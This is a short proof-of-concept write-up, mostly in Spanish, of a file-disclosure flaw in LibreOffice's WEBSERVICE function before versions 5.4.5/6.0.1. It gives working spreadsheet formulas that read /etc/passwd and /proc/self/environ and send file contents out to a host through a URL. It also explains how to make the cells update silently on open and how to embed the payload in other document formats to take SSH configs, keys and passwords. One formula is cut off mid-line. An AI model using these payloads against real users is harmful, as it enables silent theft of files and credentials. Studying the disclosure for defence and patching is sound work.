
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOffice es compatible con la función COM.MICROSOFT.WEBSERVICE:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
La función es necesaria para obtener datos por URL, normalmente se usa como:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
En el original:
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.
En LibreOffice, estas restricciones no están implementadas antes de las versiones 5.4.5/6.0.1.
Por defecto, las celdas no se actualizan, pero si especificas el tipo de celda como ~error, la celda se actualizará al abrir el documento.
Para leer un archivo solo necesitas:
=WEBSERVICE("/etc/passwd")
Esta función también se puede usar para enviar un archivo:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
Para que la operación tenga éxito, necesitas enviar los archivos del usuario actual, por lo que debes obtener la ruta del directorio personal del usuario actual.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
También puedes analizar otros archivos, como ~/.ssh/config o algo similar.
Para formatos distintos de los de LibreOffice Calc, solo necesitas incrustar un objeto de Calc en otro documento (he comprobado que funciona).
Es fácil enviar cualquier archivo con claves, contraseñas y cualquier otra cosa. 100% de tasa de éxito, absolutamente silencioso, afecta a LibreOffice anterior a 5.4.5/6.0.1 en todos los sistemas operativos (GNU/Linux, MS Windows, macOS, etc.) y puede incrustarse en casi todos los formatos compatibles con LO.
La vulnerabilidad fue encontrada de forma independiente por mí (@jollheef) y Ronnie Goodrich y Andrew Krasichkov (según las notas del equipo de LibreOffice).